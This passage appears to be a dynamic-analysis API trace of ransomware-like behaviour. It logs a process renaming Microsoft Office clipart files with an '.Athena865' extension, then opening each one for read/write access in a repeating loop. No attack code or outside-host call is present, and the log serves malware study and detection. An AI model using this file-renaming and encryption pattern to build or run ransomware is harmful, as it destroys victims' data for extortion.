Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.Athena865") returned 73 [0124.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.athena865"), dwFlags=0x1) returned 1 [0124.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.868] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20444) returned 1 [0124.871] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105412.WMF" | out: lpString1="J0105412.WMF") returned="J0105412.WMF" [0124.871] lstrlenW (lpString="J0105412.WMF") returned 12 [0124.871] lstrlenW (lpString="Athena865") returned 9 [0124.871] lstrcmpiW (lpString1="05412.WMF", lpString2="Athena865") returned -1 [0124.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.Athena865") returned 73 [0124.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.athena865"), dwFlags=0x1) returned 1 [0124.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9400) returned 1 [0124.880] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105414.WMF" | out: lpString1="J0105414.WMF") returned="J0105414.WMF" [0124.880] lstrlenW (lpString="J0105414.WMF") returned 12 [0124.880] lstrlenW (lpString="Athena865") returned 9 [0124.880] lstrcmpiW (lpString1="05414.WMF", lpString2="Athena865") returned -1 [0124.880] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.Athena865") returned 73 [0124.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.athena865"), dwFlags=0x1) returned 1 [0124.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6244) returned 1 [0124.885] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105490.WMF" | out: lpString1="J0105490.WMF") returned="J0105490.WMF" [0124.885] lstrlenW (lpString="J0105490.WMF") returned 12 [0124.885] lstrlenW (lpString="Athena865") returned 9 [0124.885] lstrcmpiW (lpString1="05490.WMF", lpString2="Athena865") returned -1 [0124.885] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.Athena865") returned 73 [0124.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.athena865"), dwFlags=0x1) returned 1 [0124.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.886] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18728) returned 1 [0124.892] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105496.WMF" | out: lpString1="J0105496.WMF") returned="J0105496.WMF" [0124.892] lstrlenW (lpString="J0105496.WMF") returned 12 [0124.892] lstrlenW (lpString="Athena865") returned 9 [0124.892] lstrcmpiW (lpString1="05496.WMF", lpString2="Athena865") returned -1 [0124.892] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.Athena865") returned 73 [0124.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.athena865"), dwFlags=0x1) returned 1 [0124.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.895] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5156) returned 1 [0124.902] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105502.WMF" | out: lpString1="J0105502.WMF") returned="J0105502.WMF" [0124.902] lstrlenW (lpString="J0105502.WMF") returned 12 [0124.902] lstrlenW (lpString="Athena865") returned 9 [0124.903] lstrcmpiW (lpString1="05502.WMF", lpString2="Athena865") returned -1 [0124.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.Athena865") returned 73 [0124.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.athena865"), dwFlags=0x1) returned 1 [0124.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5472) returned 1 [0124.909] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105504.WMF" | out: lpString1="J0105504.WMF") returned="J0105504.WMF" [0124.909] lstrlenW (lpString="J0105504.WMF") returned 12 [0124.909] lstrlenW (lpString="Athena865") returned 9 [0124.909] lstrcmpiW (lpString1="05504.WMF", lpString2="Athena865") returned -1 [0124.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.Athena865") returned 73 [0124.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.athena865"), dwFlags=0x1) returned 1 [0124.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.915] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4148) returned 1 [0124.922] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105506.WMF" | out: lpString1="J0105506.WMF") returned="J0105506.WMF" [0124.923] lstrlenW (lpString="J0105506.WMF") returned 12 [0124.923] lstrlenW (lpString="Athena865") returned 9 [0124.923] lstrcmpiW (lpString1="05506.WMF", lpString2="Athena865") returned -1 [0124.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.Athena865") returned 73 [0124.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.athena865"), dwFlags=0x1) returned 1 [0124.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.930] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2912) returned 1 [0124.933] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105520.WMF" | out: lpString1="J0105520.WMF") returned="J0105520.WMF" [0124.933] lstrlenW (lpString="J0105520.WMF") returned 12 [0124.933] lstrlenW (lpString="Athena865") returned 9 [0124.933] lstrcmpiW (lpString1="05520.WMF", lpString2="Athena865") returned -1 [0124.933] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.Athena865") returned 73 [0124.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.athena865"), dwFlags=0x1) returned 1 [0124.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31812) returned 1 [0124.942] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105526.WMF" | out: lpString1="J0105526.WMF") returned="J0105526.WMF" [0124.942] lstrlenW (lpString="J0105526.WMF") returned 12 [0124.942] lstrlenW (lpString="Athena865") returned 9 [0124.942] lstrcmpiW (lpString1="05526.WMF", lpString2="Athena865") returned -1 [0124.942] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.Athena865") returned 73 [0124.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.athena865"), dwFlags=0x1) returned 1 [0124.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.945] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17332) returned 1 [0124.950] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105530.WMF" | out: lpString1="J0105530.WMF") returned="J0105530.WMF" [0124.950] lstrlenW (lpString="J0105530.WMF") returned 12 [0124.950] lstrlenW (lpString="Athena865") returned 9 [0124.950] lstrcmpiW (lpString1="05530.WMF", lpString2="Athena865") returned -1 [0124.950] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.Athena865") returned 73 [0124.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.athena865"), dwFlags=0x1) returned 1 [0124.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.951] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7384) returned 1 [0124.957] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105588.WMF" | out: lpString1="J0105588.WMF") returned="J0105588.WMF" [0124.957] lstrlenW (lpString="J0105588.WMF") returned 12 [0124.958] lstrlenW (lpString="Athena865") returned 9 [0124.958] lstrcmpiW (lpString1="05588.WMF", lpString2="Athena865") returned -1 [0124.958] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.Athena865") returned 73 [0124.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.athena865"), dwFlags=0x1) returned 1 [0124.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.964] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21548) returned 1 [0124.970] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105600.WMF" | out: lpString1="J0105600.WMF") returned="J0105600.WMF" [0124.970] lstrlenW (lpString="J0105600.WMF") returned 12 [0124.970] lstrlenW (lpString="Athena865") returned 9 [0124.970] lstrcmpiW (lpString1="05600.WMF", lpString2="Athena865") returned -1 [0124.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.Athena865") returned 73 [0124.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.athena865"), dwFlags=0x1) returned 1 [0124.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.973] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8680) returned 1 [0124.979] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105638.WMF" | out: lpString1="J0105638.WMF") returned="J0105638.WMF" [0124.979] lstrlenW (lpString="J0105638.WMF") returned 12 [0124.979] lstrlenW (lpString="Athena865") returned 9 [0124.979] lstrcmpiW (lpString1="05638.WMF", lpString2="Athena865") returned -1 [0124.979] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.Athena865") returned 73 [0124.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.athena865"), dwFlags=0x1) returned 1 [0124.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.980] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10364) returned 1 [0124.983] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105710.WMF" | out: lpString1="J0105710.WMF") returned="J0105710.WMF" [0124.983] lstrlenW (lpString="J0105710.WMF") returned 12 [0124.983] lstrlenW (lpString="Athena865") returned 9 [0124.983] lstrcmpiW (lpString1="05710.WMF", lpString2="Athena865") returned -1 [0124.983] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.Athena865") returned 73 [0124.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.athena865"), dwFlags=0x1) returned 1 [0124.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13808) returned 1 [0124.991] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105846.WMF" | out: lpString1="J0105846.WMF") returned="J0105846.WMF" [0124.991] lstrlenW (lpString="J0105846.WMF") returned 12 [0124.991] lstrlenW (lpString="Athena865") returned 9 [0124.991] lstrcmpiW (lpString1="05846.WMF", lpString2="Athena865") returned -1 [0124.991] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.Athena865") returned 73 [0124.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.athena865"), dwFlags=0x1) returned 1 [0124.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.995] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8240) returned 1 [0124.997] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105912.WMF" | out: lpString1="J0105912.WMF") returned="J0105912.WMF" [0124.997] lstrlenW (lpString="J0105912.WMF") returned 12 [0124.997] lstrlenW (lpString="Athena865") returned 9 [0124.998] lstrcmpiW (lpString1="05912.WMF", lpString2="Athena865") returned -1 [0124.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.Athena865") returned 73 [0124.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.athena865"), dwFlags=0x1) returned 1 [0124.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.999] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11720) returned 1 [0125.004] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105974.WMF" | out: lpString1="J0105974.WMF") returned="J0105974.WMF" [0125.004] lstrlenW (lpString="J0105974.WMF") returned 12 [0125.004] lstrlenW (lpString="Athena865") returned 9 [0125.004] lstrcmpiW (lpString1="05974.WMF", lpString2="Athena865") returned -1 [0125.004] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.Athena865") returned 73 [0125.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.athena865"), dwFlags=0x1) returned 1 [0125.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.006] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4612) returned 1 [0125.009] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106020.WMF" | out: lpString1="J0106020.WMF") returned="J0106020.WMF" [0125.009] lstrlenW (lpString="J0106020.WMF") returned 12 [0125.009] lstrlenW (lpString="Athena865") returned 9 [0125.009] lstrcmpiW (lpString1="06020.WMF", lpString2="Athena865") returned -1 [0125.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.Athena865") returned 73 [0125.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.athena865"), dwFlags=0x1) returned 1 [0125.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10060) returned 1 [0125.023] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0106124.WMF" | out: lpString1="J0106124.WMF") returned="J0106124.WMF" [0125.023] lstrlenW (lpString="J0106124.WMF") returned 12 [0125.023] lstrlenW (lpString="Athena865") returned 9 [0125.023] lstrcmpiW (lpString1="06124.WMF", lpString2="Athena865") returned -1 [0125.023] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.Athena865") returned 73 [0125.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.athena865"), dwFlags=0x1) returned 1 [0125.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.Athena865" (normalized: "c:\\program files\\microsoft 